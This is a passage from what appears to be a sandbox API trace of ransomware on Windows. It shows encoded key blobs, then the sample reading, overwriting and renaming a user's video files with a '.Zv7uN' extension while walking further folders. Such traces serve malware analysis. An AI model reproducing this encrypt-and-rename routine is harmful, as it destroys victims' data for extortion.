2w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.739] GetCurrentThreadId () returned 0xa30 [0087.739] GetCurrentThreadId () returned 0xa30 [0087.739] GetCurrentThreadId () returned 0xa30 [0087.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.740] GetCurrentThreadId () returned 0xa30 [0087.740] GetCurrentThreadId () returned 0xa30 [0087.740] GetCurrentThreadId () returned 0xa30 [0087.740] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\zrckb-nvmv4yo9bz.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.740] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.740] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.740] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xdff7 [0087.740] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.741] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0xdff7, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0xdff7, lpOverlapped=0x0) returned 1 [0087.743] CloseHandle (hObject=0x11c) returned 1 [0087.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\zrckb-nvmv4yo9bz.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.746] WriteFile (in: hFile=0x11c, lpBuffer=0x1f0df70*, nNumberOfBytesToWrite=0xdff7, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0df70*, lpNumberOfBytesWritten=0x18f6ac*=0xdff7, lpOverlapped=0x0) returned 1 [0087.750] CloseHandle (hObject=0x11c) returned 1 [0087.752] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\zrckb-nvmv4yo9bz.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\zrckb-nvmv4yo9bz.avi.zv7un")) returned 1 [0087.753] GetCurrentThreadId () returned 0xa30 [0087.753] GetCurrentThreadId () returned 0xa30 [0087.753] GetCurrentThreadId () returned 0xa30 [0087.753] GetCurrentThreadId () returned 0xa30 [0087.753] GetCurrentThreadId () returned 0xa30 [0087.753] GetCurrentThreadId () returned 0xa30 [0087.753] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a3730, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0x162a97d0, ftLastAccessTime.dwHighDateTime=0x1d5d9f6, ftLastWriteTime.dwLowDateTime=0x162a97d0, ftLastWriteTime.dwHighDateTime=0x1d5d9f6, nFileSizeHigh=0x0, nFileSizeLow=0xdff7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZrCkb-NVmV4Yo9bZ.avi", cAlternateFileName="ZRCKB-~1.AVI")) returned 0 [0087.754] GetLastError () returned 0x12 [0087.754] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0087.754] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61623870, ftCreationTime.dwHighDateTime=0x1d5e09a, ftLastAccessTime.dwLowDateTime=0x52379aa0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52379aa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0087.754] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0087.754] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.754] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61623870, ftCreationTime.dwHighDateTime=0x1d5e09a, ftLastAccessTime.dwLowDateTime=0x52379aa0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52379aa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.754] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.754] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.754] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae0ee920, ftCreationTime.dwHighDateTime=0x1d5e1e9, ftLastAccessTime.dwLowDateTime=0x4aa4b6a0, ftLastAccessTime.dwHighDateTime=0x1d5e692, ftLastWriteTime.dwLowDateTime=0x5213e600, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xc093, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="I9T1DkViXh.mkv.Zv7uN", cAlternateFileName="I9T1DK~1.ZV7")) returned 1 [0087.754] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.755] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.755] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fc5130, ftCreationTime.dwHighDateTime=0x1d5ded6, ftLastAccessTime.dwLowDateTime=0xf5118920, ftLastAccessTime.dwHighDateTime=0x1d5ddf9, ftLastWriteTime.dwLowDateTime=0x52164760, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa67d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Jm93YYgfImkrpUx-Vb_0.flv.Zv7uN", cAlternateFileName="JM93YY~1.ZV7")) returned 1 [0087.755] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.755] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.755] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945d940, ftCreationTime.dwHighDateTime=0x1d5dcc2, ftLastAccessTime.dwLowDateTime=0x8a28c9c0, ftLastAccessTime.dwHighDateTime=0x1d5e687, ftLastWriteTime.dwLowDateTime=0x521b0a20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1507c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="jRDJUl7IMjUxPV.mkv.Zv7uN", cAlternateFileName="JRDJUL~1.ZV7")) returned 1 [0087.824] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.824] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.824] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7060d50, ftCreationTime.dwHighDateTime=0x1d5dd83, ftLastAccessTime.dwLowDateTime=0x52f816c0, ftLastAccessTime.dwHighDateTime=0x1d5dfdb, ftLastWriteTime.dwLowDateTime=0x52295260, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13420, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="kXr6JNMUXANI3I Es.mp4.Zv7uN", cAlternateFileName="KXR6JN~1.ZV7")) returned 1 [0087.824] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.824] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.824] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9a92f0, ftCreationTime.dwHighDateTime=0x1d5e278, ftLastAccessTime.dwLowDateTime=0xcefd0200, ftLastAccessTime.dwHighDateTime=0x1d5df6b, ftLastWriteTime.dwLowDateTime=0x522e1520, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x56ac, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Nid8Dy.mkv.Zv7uN", cAlternateFileName="NID8DY~1.ZV7")) returned 1 [0087.825] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.825] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.825] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfab11d0, ftCreationTime.dwHighDateTime=0x1d5dcd2, ftLastAccessTime.dwLowDateTime=0x49e88030, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0x5232d7e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12e37, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="P1RaoM.flv.Zv7uN", cAlternateFileName="P1RAOM~1.ZV7")) returned 1 [0087.825] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.825] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.825] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fa65bc0, ftCreationTime.dwHighDateTime=0x1d5d9dd, ftLastAccessTime.dwLowDateTime=0x43cd7c0, ftLastAccessTime.dwHighDateTime=0x1d5de94, ftLastWriteTime.dwLowDateTime=0x52353940, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x12473, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="X2Gw1ITrR9nx.mp4.Zv7uN", cAlternateFileName="X2GW1I~1.ZV7")) returned 1 [0087.825] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.825] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.825] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a3730, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0x162a97d0, ftLastAccessTime.dwHighDateTime=0x1d5d9f6, ftLastWriteTime.dwLowDateTime=0x52379aa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xdff7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZrCkb-NVmV4Yo9bZ.avi.Zv7uN", cAlternateFileName="ZRCKB-~1.ZV7")) returned 1 [0087.825] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.825] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.825] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a3730, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0x162a97d0, ftLastAccessTime.dwHighDateTime=0x1d5d9f6, ftLastWriteTime.dwLowDateTime=0x52379aa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xdff7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZrCkb-NVmV4Yo9bZ.avi.Zv7uN", cAlternateFileName="ZRCKB-~1.ZV7")) returned 0 [0087.825] GetLastError () returned 0x12 [0087.825] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0087.826] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fa5870, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0xc8f2e1c0, ftLastAccessTime.dwHighDateTime=0x1d5dbb2, ftLastWriteTime.dwLowDateTime=0xc8f2e1c0, ftLastWriteTime.dwHighDateTime=0x1d5dbb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="QsERwYTXRV", cAlternateFileName="QSERWY~1")) returned 1 [0087.826] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0087.826] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0087.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fa5870, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0xc8f2e1c0, ftLastAccessTime.dwHighDateTime=0x1d5dbb2, ftLastWriteTime.dwLowDateTime=0xc8f2e1c0, ftLastWriteTime.dwHighDateTime=0x1d5dbb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0087.826] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80fa5870, ftCreationTime.dwHighDateTime=0x1d5d9a1, ftLastAccessTime.dwLowDateTime=0xc8f2e1c0, ftLastAccessTime.dwHighDateTime=0x1d5dbb2, ftLastWriteTime.dwLowDateTime=0xc8f2e1c0, ftLastWriteTime.dwHighDateTime=0x1d5dbb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.826] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37c3f5e0, ftCreationTime.dwHighDateTime=0x1d5e710, ftLastAccessTime.dwLowDateTime=0x6a704030, ftLastAccessTime.dwHighDateTime=0x1d5e0ed, ftLastWriteTime.dwLowDateTime=0x6a704030, ftLastWriteTime.dwHighDateTime=0x1d5e0ed, nFileSizeHigh=0x0, nFileSizeLow=0x177f5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="4GUo.mp4", cAlternateFileName="")) returned 1 [0087.826] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0087.826] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.826] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\4guo.mp4"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37c3f5e0, ftCreationTime.dwHighDateTime=0x1d5e710, ftLastAccessTime.dwLowDateTime=0x6a704030, ftLastAccessTime.dwHighDateTime=0x1d5e0ed, ftLastWriteTime.dwLowDateTime=0x6a704030, ftLastWriteTime.dwHighDateTime=0x1d5e0ed, nFileSizeHigh=0x0, nFileSizeLow=0x177f5)) returned 1 [0087.826] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QsERwYTXRV\\4GUo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qserwytxrv\\4guo.mp4")) returned 0x20 